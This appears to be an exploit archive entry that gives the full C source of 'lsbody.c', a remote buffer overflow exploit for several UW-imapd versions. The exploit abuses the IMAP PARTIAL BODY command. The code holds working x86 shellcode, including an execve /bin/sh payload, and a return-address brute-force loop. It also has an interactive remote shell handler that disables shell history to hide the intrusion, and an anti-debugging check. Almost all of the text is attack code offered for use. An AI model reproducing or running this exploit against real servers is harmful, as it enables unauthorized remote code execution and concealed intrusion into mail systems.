UW-imapd v12.261, 12.264, 2000.283, 2000.284, 2000.287 and 2001.315 remote exploit which takes advantage of a bug in the body command. Requires an IMAP username and password.
57acbd6f36f6e92260c5b0473a8510cf6873394e0cc85a088e9a5fb87f970645
/*****************
* lsbody.c - BODY overflow exploit (linux/x86)
*
* Vulnerability was founded by Marcell Fodor (mantra.freeweb.hu)
*
* THIS IS PUBLISHED PROPRIETARY SOURCE CODE OF BUFFEROVERFLOW CREW
*
* Copyright (C) bufferoverflow.org(com.br), 2002
* All Rights Reserved
* by skylazart
*****************/
static char version[] = "$Id: lsbody.c,v 1.1.1.1 2002/10/22 05:11:34 sky Exp $";
/*
* see http://www.bufferoverflow.org for more stuffs
*/
/*
* Exploit comments:
* if you get an error like "** BAD Bogus sequence in PARTIAL", try to
* send mail to the target user, or, use -m /etc/passwd :)
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <getopt.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <stdarg.h>
#define MAXLINE 16384
#define col 55
long int RET_ADDR = 0xbfffff99;
int steps = -512;
char *mailbox = NULL;
/* rx_sc by skylazart. escape from imapd ascii filters and PARTIAL
command sintax */
char rx_sc[] =
/* <main> */
"\xeb\x31"
/* <sc> */
"\x5e\x80\x06\xe0\x80\x46\x05\xe0\x89\xf1\x31"
"\xdb\x31\xd2\xb0\x04\xb2\x06\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x94\xcd\x80\x31\xc0\x31\xd2\xb2"
"\xfa\x8d\x8c\x24\x06\xff\xff\xff\x31\xdb\xb0"
"\x03\xcd\x80\xff\xe1"
/* <caller> */
"\xe8\xca\xff\xff\xff\x2a\x4e\x41\x54\x49\x2a";
char old[] =
/* <main> */
"\xeb\x2e"
/* <sc> */
"\x5e\x80\x46\x04\xe0\x89\xf1\x31\xdb\x31\xd2"
"\xb0\x04\xb2\x05\xcd\x80\x31\xc0\x31\xdb\xb0"
"\x94\xcd\x80\x31\xc0\x31\xd2\xb2\xfa\x8d\x8c"
"\x24\x06\xff\xff\xff\x31\xdb\xb0\x03\xcd\x80"
"\xff\xe1"
/* <caller> */
"\xe8\xcd\xff\xff\xff\x4e\x41\x54\x49\x2a";
char execve_sc[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
static int
PRINT (const char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
return (vfprintf (stderr, fmt, ap)); /* stderr isnt bufferd */
}
static void
ELEET (char *b, int n)
{
if (n > col) {
fprintf (stderr, "\n");
n = 0;
}
while (n < col) {
fprintf (stderr, " ");
n++;
}
fprintf (stderr, "%s", b);
}
void
hlp (const char *name) {
printf ("%s -h server -u username -p password [-m <mailbox>]\n\n",
name);
exit (EXIT_SUCCESS);
}
void
err_sys (const char *name, int error) {
fprintf (stderr, "%s : %s\n", name, strerror (error));
exit (EXIT_FAILURE);
}
void
err_quit (const char *msg) {
fprintf (stderr, "%s. exiting...\n", msg);
exit (EXIT_FAILURE);
}
void
handle_signal (int sig) {
printf ("sorry\n");
exit (EXIT_FAILURE);
}
int
hasdata (int fd, int timeout) {
struct timeval tv;
fd_set rset;
tv.tv_usec = 0;
tv.tv_sec = timeout;
FD_ZERO (&rset);
FD_SET (fd, &rset);
return (select (fd + 1, &rset, NULL, NULL, &tv));
}
size_t
my_write (int sockfd, const void *buffer, size_t n) {
size_t nleft;
size_t nwritten;
const char *ptr;
ptr = buffer;
nleft = n;
while ( nleft > 0 ) {
again:
if (( nwritten = write (sockfd, ptr, nleft)) < 0) {
if ( errno == EINTR )
goto again;
else
return (-1);
}
nleft -= nwritten;
ptr += nwritten;
}
return (n);
}
static size_t
my_read (int sockfd, char *ptr, int timeout) {
static int read_cnt = 0;
static char *read_ptr;
static char read_buf[MAXLINE];
if ( read_cnt <= 0 ) {
again:
if ( hasdata (sockfd, timeout) <= 0 )
return (0);
if ((read_cnt = read (sockfd, read_buf, sizeof (read_buf)))<0) { if ( errno == EINTR )
goto again;
return (-1);
} else if ( read_cnt == 0 )
return (0);
read_buf[read_cnt] = '\0';
read_ptr = read_buf;
}
read_cnt--;
*ptr = *read_ptr++;
return (1);
}
size_t
ReadLine (int sockfd, void *buffer, size_t maxlen, int timeout) {
int n, rc;
char c, *ptr;
ptr = buffer;
for (n = 1; n < maxlen; n++) {
if ( (rc = my_read (sockfd, &c, timeout) ) == 1 ) {
*ptr++ = c;
if ( c == '\n' )
break;
} else if ( rc == 0 ) {
if ( n == 1 )
return (0);
else
break;
} else
return (-1);
}
*ptr = '\0';
return (n);
}
int
con (char *hostname, int port, int timeout) {
struct hostent *he;
struct sockaddr_in sin;
struct timeval tv;
unsigned long i;
int sockfd;
socklen_t len = sizeof (int);
int sc_fg;
int n;
fd_set wset, rset;
int opt = 1024; /* MAXCAPLEN */
int one = 1;
int error = 0;
i = inet_addr (hostname);
if (i == -1) {
he = gethostbyname (hostname);
if (he == NULL) {
err_sys ("gethostbyname()", h_errno);
exit (EXIT_FAILURE);
} else
i = *(unsigned long *) he->h_addr;
}
sockfd = socket (AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
err_sys ("socket ()", errno);
sin.sin_family = PF_INET;
sin.sin_port = htons (port);
sin.sin_addr.s_addr = i;
bzero (&(sin.sin_zero), 8);
setsockopt (sockfd, SOL_SOCKET, SO_RCVBUF, (char *) &opt, sizeof (int));
ioctl (sockfd, FIONBIO, &one);
sc_fg = fcntl (sockfd, F_GETFL, 0);
fcntl (sockfd, F_SETFL, O_NONBLOCK | O_NDELAY);
n = connect (sockfd, (struct sockaddr *) &sin, sizeof (sin));
if (n == 0) { /* connected */
n = 0;
ioctl (sockfd, FIONBIO, &n);
fcntl (sockfd, F_SETFL, sc_fg);
return (sockfd);
}
if (errno != EINPROGRESS) {
close (sockfd);
err_sys ("connect ()", errno);
}
FD_ZERO (&wset);
FD_ZERO (&rset);
FD_SET (sockfd, &wset);
FD_SET (sockfd, &rset);
tv.tv_usec = 0;
tv.tv_sec = timeout;
n = select (sockfd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close (sockfd);
errno = ETIMEDOUT;
err_sys ("connect ()", errno);
}
if (FD_ISSET (sockfd, &rset) ||
FD_ISSET (sockfd, &wset)) { /* data available */
if (getsockopt (sockfd, SOL_SOCKET, SO_ERROR, &error, &len)
< 0) {
close (sockfd);
err_sys ("getsockopt ()", errno);
}
if (error == 0) {
n = 0;
ioctl (sockfd, FIONBIO, &n);
fcntl (sockfd, F_SETFL, sc_fg);
return (sockfd);
} else {
close (sockfd);
errno = ECONNREFUSED;
err_sys ("connect ()", errno);
}
}
return (sockfd);
}
int
imapdlogging (int sockfd, char *u, char *p) {
char buffer[1024];
int n;
snprintf (buffer, sizeof (buffer), "** LOGIN %s %s\r\n", u, p);
my_write (sockfd, buffer, strlen (buffer));
memset (buffer, 0, sizeof (buffer));
do {
n = ReadLine (sockfd, buffer, sizeof (buffer), 20);
if (n <= 0)
err_quit ("Connection terminated");
buffer[n] = '\0';
} while (strncmp (buffer, "** ", 3) != 0);
if (strstr (buffer, "OK"))
return (1);
return (0);
}
int
verify_xpl (unsigned char *h, unsigned char *u, unsigned char *p) {
int sockfd, n, vuln = 0, bytes;
char buffer[3072];
char evil[4096];
printf ("## CHECKING IF THE TARGET IS EXPLOITABLE ##\n\n");
PRINT ("++ trying to connect %s@PASSWORD:%s.143... %n", u, h, &bytes);
sockfd = con (h, 143, 40);
ELEET ("; connected\n", bytes);
PRINT ("++ trying to logging... %n", &bytes);
if (!imapdlogging (sockfd, u, p)) {
close (sockfd);
ELEET ("; failed\n", bytes);
exit (EXIT_FAILURE);
}
ELEET ("; success\n", bytes);
PRINT ("++ checking vulnerability... %n", &bytes);
my_write (sockfd, "** CAPABILITY\r\n", 15);
do {
n = ReadLine (sockfd, buffer, sizeof (buffer), 20);
if (n <= 0)
err_quit ("Connection terminated");
buffer[n] = '\0';
if (strstr (buffer, " IMAP4 "))
vuln = 1;
} while (strncmp (buffer, "** ", 3) != 0);
if (!vuln) {
close (sockfd);
ELEET ("isn't vulnerable\n", bytes);
exit (EXIT_FAILURE);
}
ELEET ("; vulnerable\n", bytes);
PRINT ("++ trying to crash the daemon... %n", &bytes);
snprintf (buffer, sizeof (buffer), "** SELECT %s\r\n", mailbox);
my_write (sockfd, buffer, strlen (buffer));
memset (buffer, 0, sizeof (buffer));
do {
n = ReadLine (sockfd, buffer, sizeof (buffer), 20);
if (n <= 0)
err_quit ("connection closed");
buffer[n] = '\0';
} while (strncmp (buffer, "** ", 3) != 0);
if (!strstr (buffer, "** OK")) {
close (sockfd);
err_quit ("Error trying to use SELECT Inbox");
}
memset (buffer, 0x41, sizeof (buffer));
buffer[sizeof (buffer) - 1] = '\0';
sprintf (evil, "** PARTIAL 1 BODY[%s] 1 1\r\n", buffer);
my_write (sockfd, evil, strlen (evil));
n = ReadLine (sockfd, buffer, sizeof (buffer), 20);
if (n > 0) {
close (sockfd);
buffer[n] = '\0';
printf ("failed trying to crash.\nserver returns: %s\n",
buffer);
printf ("maybe, it's a problem with mailbox. try -m /etc/passwd\n");
err_quit ("failed");
}
ELEET ("; CRASHED!!\n", bytes);
close (sockfd);
return (1);
}
int
get_shell (int sockfd) {
fd_set rfds;
int n = 0;
char buffer[2048];
/* send real shellcode and wait for answer */
printf ("++ sending execve shellcode with %d bytes length... ",
strlen (execve_sc));
fflush (stdout);
my_write (sockfd, execve_sc, strlen (execve_sc));
my_write (sockfd, "\n", 1);
printf ("sent!\n");
printf ("############# gota shell # # #\n\n");
my_write (sockfd, "unset HISTFILE;uname -a;id;\n", 29);
my_write (sockfd, "exec /bin/bash -i\n", 18);
FD_ZERO (&rfds);
while (1) {
FD_SET (0, &rfds);
FD_SET (sockfd, &rfds);
n = select (sockfd + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (sockfd, &rfds)) {
n = read (sockfd, buffer, sizeof (buffer));
if (n <= 0)
break;
buffer[n] = '\0';
write (1, buffer, n);
}
if (FD_ISSET (0, &rfds)) {
n = read (0, buffer, sizeof (buffer));
if (n <= 0)
break;
buffer[n] = '\0';
write (sockfd, buffer, n);
}
}
printf ("Connection Terminated.\n");
close (sockfd);
exit (0);
}
void
xpl (unsigned char *h, unsigned char *u, unsigned char *p, long int ret_addr) {
int sockfd, n;
char buffer[4096];
char evil[1054], *ptr;
static char leet[8] = "\0";
strcat (leet, ">");
printf ("\rExploiting [%-8s] 0x%08lx ",
leet, ret_addr);
fflush (stdout);
if (leet[7] == '>')
memset (leet, 0x0, sizeof (leet));
sockfd = con (h, 143, 40);
snprintf (buffer, sizeof (buffer), "** LOGIN %s %s\r\n", u, p);
my_write (sockfd, buffer, strlen (buffer));
snprintf (buffer, sizeof (buffer), "*** SELECT %s\r\n", mailbox);
my_write (sockfd, buffer, strlen (buffer));
memset (buffer, 0, sizeof (buffer));
/*
do {
n = ReadLine (sockfd, buffer, sizeof (buffer), 10);
if (n <= 0)
err_quit ("connection closed");
buffer[n] = '\0';
} while (strncmp (buffer, "*** ", 4) != 0);
*/
memset (evil, 0x90, sizeof (evil));
ptr = &evil[1024] - strlen (rx_sc);
memcpy (ptr, rx_sc, strlen (rx_sc));
ptr = &evil[1024];
for (; ptr < &evil[sizeof (evil) -1]; ptr += 4)
*(long int *) ptr = ret_addr;
ptr = &evil[sizeof (evil) - 1];
*ptr = '\0';
sprintf (buffer, "** PARTIAL 1 BODY[%s] 1 1\r\n", evil);
my_write (sockfd, buffer, strlen (buffer));
my_write (sockfd, "*** LOGOUT\r\n", 12);
/*
do {
n = ReadLine (sockfd, buffer, sizeof (buffer), 10);
if (n <= 0)
err_quit ("connection closed");
buffer[n] = '\0';
} while (strncmp (buffer, "*** ", 4) != 0);
*/
while ((n = ReadLine (sockfd, buffer, sizeof (buffer), 20))) {
buffer[n] = '\0';
#ifdef DEBUG
printf ("%s\n", buffer);
#endif
if (strstr (buffer, "NATI") && !strstr (buffer, "NATI*")) {
printf ("!! SUCCESS !!\r");
printf ("\r\n\n## \"NATI\" FOUND! ##\n\n");
get_shell (sockfd);
exit (0);
}
}
close (sockfd);
printf ("FAILED");
xpl (h, u, p, ret_addr + steps);
exit (0);
}
int
main (int argc, char **argv) {
char *hostname, *username, *password;
int opt;
hostname = username = password = NULL;
printf ("\033[2J\033[1;1Hlsbody - UW-IMAPD version 12.261, "
"12.264, 2000.283, 2000.284, 2000.287 and 2001.315"
" compiled with RFC 1730 support. Others?!\n"
"%s\n"
"by skylazart/bufferoverflow.org\n\n", version);
while ((opt = getopt (argc, argv, "u:p:h:m:")) != -1) {
switch (opt) {
case 'h':
hostname = optarg;
break;
case 'u':
username = optarg;
break;
case 'p':
password = optarg;
break;
case 'm':
mailbox = strdup (optarg);
break;
default:
hlp (argv[0]);
break;
}
}
if (!hostname || !username || !password)
hlp (argv[0]);
if (!mailbox)
mailbox = strdup ("Inbox");
signal (SIGUSR1, handle_signal);
signal (SIGTRAP, handle_signal);
if (ptrace (PTRACE_TRACEME, 0, 1, 0) < 0) {
printf ("Sorry, debug isn't allowed\n");
exit (0);
}
if (verify_xpl (hostname, username, password)) {
printf ("\n### EXPLOITING ###\n\n");
xpl (hostname, username, password, RET_ADDR);
}
return (0);
}